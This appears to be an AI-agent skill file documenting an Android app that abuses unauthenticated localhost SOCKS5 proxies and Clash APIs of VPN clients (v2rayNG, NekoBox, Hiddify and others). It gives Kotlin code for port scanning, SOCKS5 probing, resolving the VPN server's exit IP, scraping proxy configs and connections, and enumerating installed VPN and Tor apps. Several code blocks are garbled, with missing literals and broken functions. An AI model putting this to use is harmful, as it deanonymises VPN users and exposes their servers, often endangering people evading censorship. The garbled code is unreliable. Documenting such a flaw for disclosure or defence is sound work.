| name | yourvpndead-vpn-detection |
| description | Android app that detects VPN/proxy servers (VLESS/xray/sing-box) via local SOCKS5 vulnerability, exposing exit IPs and server configs without root |
| triggers | ["detect VPN server IP on Android","scan localhost SOCKS5 proxy ports","find xray v2rayNG exposed ports","check if VPN app is leaking server IP","scan sing-box clash API on localhost","detect VPN using Android network capabilities","find open proxy ports on Android device","check VPN client vulnerability android"] |
YourVPNDead — Android VPN Detection & SOCKS5 Vulnerability Scanner
Skill by ara.so — Daily 2026 Skills collection.
Android app (Kotlin + Jetpack Compose) demonstrating that any app — without root or special permissions — can detect VPN usage, identify the VPN client, and retrieve the VPN server's exit IP through unauthenticated SOCKS5 proxies exposed on localhost by popular VPN clients (v2rayNG, NekoBox, Hiddify, etc.).
Build & Install
git clone https://github.com/loop-uh/yourvpndead.git
cd yourvpndead
./gradlew assembleDebug
adb install app/build/outputs/apk/debug/app-debug.apk
Or download the pre-built APK from Releases.
Required permissions (AndroidManifest.xml):
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
Architecture
ScanOrchestrator (14 phases)
├── ProfileDetector — work profile, isolation, VPN status
├── ProcNetScanner — /proc/net/tcp fingerprinting
├── DirectSignsChecker — 6 direct VPN checks
├── IndirectSignsChecker — 5 indirect checks (MTU, DNS, dumpsys)
├── DeviceInfoCollector — device fingerprint
├── PortScanner — TCP scan IPv4 + IPv6 localhost
├── Socks5Probe — proxy type identification
├── XrayAPIDetector — xray gRPC API detection
├── ClashAPIProbe — Clash REST API probe
├── AuthProbe — auth analysis + brute-force demo
├── ExitIPResolver — exit IP via SOCKS5
└── GeoLocator — IP geolocation
Stack: Kotlin, Jetpack Compose, Material 3, Coroutines, MVVM (ViewModel + StateFlow)
Key Detection Modules
1. Direct VPN Signs — DirectSignsChecker.kt
Detects VPN via standard (and hidden) Android APIs:
val connectivityManager = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
val network = connectivityManager.activeNetwork
val caps = connectivityManager.getNetworkCapabilities(network)
val hasVpnTransport = caps?.hasTransport(NetworkCapabilities.TRANSPORT_VPN) == true
val capsString = caps?.toString() ?: ""
val hasIsVpn = capsString.contains("IS_VPN")
val hasVpnTransportInfo = capsString.contains("VpnTransportInfo")
val httpProxyHost = System.getProperty("http.proxyHost")
val socksProxyHost = System.getProperty("socksProxyHost")
val notVpnCapability = caps?.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN) == true
2. VPN Interface Detection
import java.net.NetworkInterface
fun detectVpnInterfaces(): List<String> {
val vpnPatterns = listOf(
Regex("^tun\\d+$"),
Regex("^tap\\d+$"),
Regex("^wg\\d+$"),
Regex("^ppp\\d+$"),
Regex("^ipsec.*$")
)
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { iface -> vpnPatterns.any { it.matches(iface.name) } }
.map { it.name }
}
fun checkMtuAnomaly(): Boolean {
return NetworkInterface.getNetworkInterfaces()
.toList()
.filter { it.isUp && !it.isLoopback }
.any { it.mtu in 1..1499 }
}
3. /proc/net/tcp Scanner — ProcNetScanner.kt
Reads listening ports without root:
fun scanProcNetTcp(): List<Int> {
val openPorts = mutableListOf<Int>()
listOf("/proc/net/tcp", "/proc/net/tcp6").forEach { path ->
try {
File(path).forEachLine { line ->
val parts = line.trim().split("\\s+".toRegex())
if (parts.size >= 4) {
val state = parts[3]
if (state == "0A") {
val localAddress = parts[1]
val portHex = localAddress.split(":").lastOrNull()
portHex?.toIntOrNull(16)?.let { openPorts.add(it) }
}
}
}
} catch (e: Exception) { }
}
return openPorts
}
fun fingerprintClient(ports: List<Int>): String {
return when {
10808 in ports && 10809 in ports && 19085 in ports -> "v2rayNG / xray"
2080 in ports -> "NekoBox / sing-box"
ports && ports && ports ->
ports && ports ->
ports ->
->
}
}
4. Port Scanner — PortScanner.kt
TCP connect scan on 127.0.0.1 and ::1:
import kotlinx.coroutines.*
import java.net.InetSocketAddress
import java.net.Socket
suspend fun scanKnownPorts(
timeout: Int = 300,
parallelism: Int = 32
): List<Int> = coroutineScope {
val knownVpnPorts = listOf(
10808, 10809, 10810, 10085, 19085,
2080, 2081, 3066, 3067,
7890, 7891, 7892, 7893, 9090, 19090,
1080, 8080, 8118, 9050, 3128,
29009, 29010, 30102, 30103,
12387, 12388, 12389
)
val semaphore = kotlinx.coroutines.sync.Semaphore(parallelism)
knownVpnPorts.map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
try {
Socket().use { socket ->
socket.connect(InetSocketAddress(, port), timeout)
port
}
} (e: Exception) { }
}
}
}.awaitAll().filterNotNull()
}
: List<> = coroutineScope {
semaphore = kotlinx.coroutines.sync.Semaphore()
().map { port ->
async(Dispatchers.IO) {
semaphore.withPermit {
{
Socket().use { socket ->
socket.connect(InetSocketAddress(, port), timeout)
port
}
} (e: Exception) { }
}
}
}.awaitAll().filterNotNull()
}
5. SOCKS5 Probe — Socks5Probe.kt
Identify proxy type and check for authentication:
import java.io.InputStream
import java.io.OutputStream
import java.net.Socket
enum class ProxyType { SOCKS5_NO_AUTH, SOCKS5_AUTH_REQUIRED, HTTP_CONNECT, GRPC, UNKNOWN }
fun probePort(port: Int, timeoutMs: Int = 2000): ProxyType {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", port), timeoutMs)
socket.soTimeout = timeoutMs
val out: OutputStream = socket.getOutputStream()
val inp: InputStream = socket.getInputStream()
out.write(byteArrayOf(0x05, 0x01, 0x00))
out.flush()
val response = ByteArray(2)
inp.read(response)
when {
response[0] == 0x05.toByte() && response[1] == 0x00.toByte() ->
ProxyType.SOCKS5_NO_AUTH
response[0] == 0x05.toByte() && response[1] == 0x02.toByte() ->
ProxyType.SOCKS5_AUTH_REQUIRED
else -> ProxyType.UNKNOWN
}
}
} catch (e: Exception) { ProxyType.UNKNOWN }
}
: {
{
Socket().use { socket ->
socket.connect(InetSocketAddress(, port), )
= socket.getOutputStream()
.write(.toByteArray())
.flush()
response = socket.getInputStream().bufferedReader().readLine() ?:
response.contains() || response.contains() || response.startsWith()
}
} (e: Exception) { }
}
6. Exit IP Resolution via SOCKS5 — ExitIPResolver.kt
Get VPN server's real IP through unauthenticated SOCKS5:
import java.net.InetAddress
import java.net.Socket
fun resolveExitIpViaSocks5(
socksPort: Int,
targetHost: String = "api.ipify.org",
targetPort: Int = 80
): String? {
return try {
Socket().use { socket ->
socket.connect(InetSocketAddress("127.0.0.1", socksPort), 3000)
socket.soTimeout = 5000
val out = socket.getOutputStream()
val inp = socket.getInputStream()
out.write(byteArrayOf(0x05, 0x01, 0x00)); out.flush()
val auth = ByteArray(2); inp.read(auth)
if (auth[1] != 0x00.toByte()) return null
val hostBytes = targetHost.toByteArray()
val request = byteArrayOf(
0x05,
0x01,
0x00,
0x03,
hostBytes.size.toByte()
) + hostBytes + byteArrayOf(
(targetPort shr ).toByte(),
(targetPort and ).toByte()
)
.write(request); .flush()
resp = ByteArray(); inp.read(resp)
(resp[] != .toByte())
.write(.toByteArray())
.flush()
response = inp.bufferedReader().readText()
response.lines().last { it.matches(Regex()) }
}
} (e: Exception) { }
}
7. Clash REST API Probe — ClashAPIProbe.kt
sing-box/mihomo expose Clash API on localhost without auth by default:
import java.net.HttpURLConnection
import java.net.URL
import org.json.JSONObject
data class ClashApiResult(
val isOpen: Boolean,
val connections: List<String> = emptyList(),
val proxies: List<String> = emptyList(),
val externalController: String? = null
)
fun probeClashApi(port: Int = 9090, timeoutMs: Int = 3000): ClashApiResult {
val baseUrl = "http://127.0.0.1:$port"
return try {
val configUrl = URL("$baseUrl/configs")
val configConn = configUrl.openConnection() as HttpURLConnection
configConn.connectTimeout = timeoutMs
configConn.readTimeout = timeoutMs
if (configConn.responseCode != 200) return ClashApiResult(false)
val config = JSONObject(configConn.inputStream.bufferedReader().readText())
val connUrl = URL("$baseUrl/connections")
val connConn = connUrl.openConnection() as HttpURLConnection
connConn.connectTimeout = timeoutMs
val connData = JSONObject(connConn.inputStream.bufferedReader().readText())
destinationIps = mutableListOf<String>()
connections = connData.optJSONArray()
(connections != ) {
(i until connections.length()) {
conn = connections.getJSONObject(i)
conn.optJSONObject()?.optString()
?.takeIf { it.isNotEmpty() }
?.let { destinationIps.add(it) }
}
}
ClashApiResult(
isOpen = ,
connections = destinationIps,
externalController = config.optString()
)
} (e: Exception) { ClashApiResult() }
}
clashApiPorts = listOf(, , , , )
8. VPN App Detection — DirectSignsChecker.kt
Enumerate installed VPN apps (requires QUERY_ALL_PACKAGES on Android 11+):
val vpnPackages = mapOf(
"com.v2ray.ang" to "v2rayNG",
"io.nekohasekai.sfa" to "sing-box (SFA)",
"app.hiddify.com" to "Hiddify",
"com.github.shadowsocks" to "Shadowsocks",
"com.matsuridayo.matsuri" to "NekoBox",
"io.nekohasekai.sagernet" to "NekoBox/SagerNet",
"com.clashforwindows.clash" to "ClashMeta",
"com.byedpi" to "ByeDPI",
"org.outline.android.client" to "Outline",
"com.psiphon3" to "Psiphon",
"us.lantern.lantern" to "Lantern",
"com.wireguard.android" to "WireGuard",
"org.torproject.torbrowser" to "Tor Browser",
"org.torproject.android" to "Orbot",
"com.karing.app" to "Karing",
"com.throne.android" to "Throne",
"com.happ.free.vpn.proxy" to "HAPP"
)
fun detectInstalledVpnApps(context: Context): List<String> {
val pm = context.packageManager
return vpnPackages.entries.mapNotNull { (pkg, name) ->
try {
pm.getPackageInfo(pkg, 0)
name
} catch (e: PackageManager.NameNotFoundException) { }
}
}
9. Routing Table Check
fun checkDefaultRoute(): String? {
return try {
File("/proc/net/route").readLines()
.drop(1)
.firstOrNull { line ->
val parts = line.split("\t")
parts.size >= 2 && parts[1] == "00000000"
}
?.split("\t")
?.firstOrNull()
} catch (e: Exception) { null }
}
MVVM Pattern — ViewModel + StateFlow
class ScanViewModel(application: Application) : AndroidViewModel(application) {
private val _scanState = MutableStateFlow<ScanState>(ScanState.Idle)
val scanState: StateFlow<ScanState> = _scanState.asStateFlow()
fun startScan(fullScan: Boolean = false) {
viewModelScope.launch {
_scanState.value = ScanState.Running(phase = "Initializing...")
val orchestrator = ScanOrchestrator(getApplication())
orchestrator.run(
fullPortScan = fullScan,
onPhaseUpdate = { phase -> _scanState.value = ScanState.Running(phase) }
).collect { result ->
_scanState.value = ScanState.Complete(result)
}
}
}
}
sealed class ScanState {
object Idle : ScanState()
data class Running(val phase: String) : ScanState()
data class Complete(val result: ScanResult) : ScanState()
}
Composable UI Pattern
@Composable
fun ScanScreen(viewModel: ScanViewModel = viewModel()) {
val state by viewModel.scanState.collectAsState()
Column(modifier = Modifier.fillMaxSize().padding(16.dp)) {
when (val s = state) {
is ScanState.Idle -> Button(onClick = { viewModel.startScan() }) {
Text("Start VPN Scan")
}
is ScanState.Running -> {
CircularProgressIndicator()
Text("Phase: ${s.phase}")
}
is ScanState.Complete -> ScanResultView(result = s.result)
}
}
}
Vulnerable Client Reference
| Client | Core | Default SOCKS Port | Auth | Status |
|---|
| v2rayNG | xray | 10808 | None | Vulnerable |
| NekoBox | sing-box | 2080 | None | Vulnerable |
| Hiddify | sing-box/xray | varies | None | Vulnerable |
| Happ | xray | varies | None + open gRPC API | Critical |
| Karing | sing-box | 3067 | None | Vulnerable |
| Husi | sing-box | — | Yes | Protected |
Known Port Constants
object VpnPorts {
val XRAY_SOCKS = 10808
val XRAY_HTTP = 10809
val XRAY_STATS = 19085
val XRAY_GRPC_API = listOf(10085, 19085, 23456, 8001, 62789)
val SINGBOX_MIXED = 2080
val SINGBOX_HTTP = 2081
val KARING_SOCKS = 3067
val KARING_HTTP = 3066
val CLASH_HTTP = 7890
val CLASH_SOCKS = 7891
val CLASH_REDIR = 7892
val CLASH_API = 9090
val SINGBOX_CLASH_API = 19090
val TOR_SOCKS = 9050
val PRIVOXY = 8118
}
Troubleshooting
/proc/net/tcp returns empty or permission denied
- Restricted on Android 10+ for non-root apps on some ROMs (Samsung Knox, MIUI)
- Fallback: use TCP connect scan via
PortScanner instead
Port scan misses ports
- Increase
timeout from 300ms to 500ms for slower devices
- Reduce
parallelism to 16 if getting connection reset errors
QUERY_ALL_PACKAGES denied
- Required for VPN app enumeration on Android 11+
- Must be declared in manifest; some app stores may restrict it
- Fallback: check only packages via
Intent resolution
SOCKS5 probe connects but returns unexpected bytes
- Some clients send HTTP 400 response instead of SOCKS5 rejection
- Add HTTP CONNECT fallback probe after SOCKS5 attempt
Exit IP resolution returns null despite open SOCKS5
- Target
api.ipify.org may be blocked by the VPN itself
- Try alternative:
ifconfig.me, checkip.amazonaws.com
- Some clients block loopback-originated connections to external hosts
Clash API returns 401
- Client has set
secret in config — not the default behavior but possible
- Check port 19090 (sing-box uses different default than mihomo's 9090)